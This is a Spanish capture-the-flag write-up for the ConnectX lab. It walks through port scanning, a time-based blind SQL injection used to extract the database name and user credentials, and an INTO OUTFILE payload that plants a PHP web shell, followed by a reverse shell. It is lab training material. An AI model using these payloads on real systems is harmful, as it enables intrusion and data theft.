ConnectX BugBountyLabs (Principiante)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-20 07:26 EDT
Nmap scan report for 192.168.1.151
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://connectx.bbl/
MAC Address: 08:00:27:7D:45:87 (Oracle VirtualBox virtual NIC)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.93 secondsVemos que hay un puerto 80, si entramos en el veremos que nos pide un dominio llamado connectx.bbl, para poder resolverlo lo añadiremos en nuestro archivo hosts.
Lo guardamos y volveremos a cargar la pagina, una vez echo esto veremos una pagina en la que podemos registrarnos o iniciar sesion.
Vamos a comprobar si fuera el login vulnerable a un SQL Injection, pero vemos que no, por lo que vamos a registrarnos con cualquier usuario y si bajamos un poco veremos una opcion en la que se pueden filtrar por usuarios.
Podemos deducir que puede ser un punto de un SQL Injection si la entrada no se sanitiza de forma correcta, por lo que vamos a capturar la peticion de filtrar con BurpSuite y vamos a ponerle una ' despues del username quedando de esta forma:
Ahora si seleccionamos antes de enviar que nos muestre la respuesta del servidor:

Cuando lo enviemos veremos lo siguiente:

Vemos que nos esta dando un error 500 por lo que con esto podemos saber que si es vulnerable a un SQL Injection ya que se lo esta tragando y esta cerrando la consulta proporcionando un error.
Ahora si intentamos esto otro:
Veremos que funciona en este caso seria un 200 OK y nos muestra los post del usuario admin todos, por lo que esta funcionando esta inyeccion.
Vamos a intentar sacar el nombre de la base de datos, intentando el siguiente payload:
Tendra que quedar algo asi:
Vemos que si nos tarda 5 segundos en responder por lo que sabemos que la primera letra de la base de datos es c, puse esta letra de primeras ya que la maquina se llama connectX, pero vamos a realizar esto de forma un poco mas automatizada para sacar el nombre entero.
Explicacion de payload
admin' → Cierra la comilla de la entrada esperada en SQL.OR → Introduce una nueva condición en la consulta SQL.IF(SUBSTR(DATABASE(),1,1)='c', SLEEP(5), 1) → Esta es la parte clave:
- DATABASE() → Obtiene el nombre de la base de datos actual.
- SUBSTR(DATABASE(),1,1) → Extrae el primer carácter del nombre de la base de datos.
- Comparación: Si este primer carácter es 'c', entonces:
- SLEEP(5) → La consulta esperará 5 segundos antes de continuar.
- Si el carácter NO es 'c', la consulta simplemente devuelve 1 y se ejecuta sin demora.--+- → Comentario para ignorar el resto de la consulta original.
¿Qué logra este payload?
Si la página tarda 5 segundos en responder, significa que la primera letra de la base de datos es "c".
Si no hay retraso, se prueba con otro carácter.
Se repite el proceso para la segunda letra, tercera, etc., hasta reconstruir todo el nombre de la base de datos.
Este método se usa en ataques de SQL Injection Time-Based Blind, cuando no se pueden ver directamente los resultados de la consulta en pantalla.
databaseName.py
Reemplazamos <COOKIE> por la cookie que tengamos nosotros asignados en la pagina web, para que inicie sesion directamente, tendremos que ejecutarlo de la siguiente forma:
Info:
Vemos que nos saca el nombre de la base de datos llamada connectx, por lo que ahora tendremos que saber las tablas que tiene dicha base de datos.
Vamos a modificar el script un poco de la siguiente forma:
tableName.py
Y lo ejecutaremos de la siguiente forma:
Info:
Vemos que tenemos dos tablas, entre ellas la que mas nos interesa es la informacion de la tabla users, por lo que modificaremos un poco el script tambien para poder sacar dicha informacion.
columnsName.py
Ahora lo ejecutaremos de la siguiente forma:
Info:
Vemos que nos saco las credenciales de forma correcta, pero si intentamos crackearlo no podremos por lo que no nos sirve de mucho, vamos a comprobar si se pudiera ejecutar codigo de forma remota mediante un SQL Injection, a esto se le llamaria SQL Injection -> RCE.
Si por ejemplo probamos a poner varios payloads de los pocos que me funciono fue el siguiente para escribir test en un fichero.
Quedando de esta forma la peticion:
Si lo enviamos en la respuesta del servidor nos dara un 500 error pero si nos vamos a la URL donde deberia de estar el archivo, veremos que funciono:

Ahora vamos hacer esto mismo, pero para subir un archivo en PHP y poder ejecutar codigo de forma remota mediante ese codigo en PHP.
Explicación:
'+union+select+': Cierra la consulta original y comienza la inyección conUNION SELECT.'<?php+system($_GET[0]);+?>': El código PHP a escribir en el archivo. Usasystem()para ejecutar el comando recibido en la URL comocommand=....into+outfile+'/var/www/connectx.bbl/command.php': Especifica la ruta en la que el archivo PHP será escrito (/var/www/connectx.bbl/command.php).--+-: Comentario SQL para que no afecte al resto de la consulta.
Tendremos que tener esta peticion:
Y si nos vamos a la sigueinte URL:
Veremos que funciona:

Ahora lo que haremos sera realizar una reverse shell de la siguiente forma:
Antes de enviarlo nos pondremos a la escucha:
Si enviamos ese payload y volvemos a donde tenemos la escucha veremos lo siguiente:
Vemos que ha funcionado por lo que tendremos que sanitizar la shell (TTY).
Sanitización de shell (TTY)
Por lo que vemos con esto ya habremos terminado la maquina y habremos aprovechado de forma correcta la vulnerabilidad, ahora leeremos la flag.
flag.txt
Last updated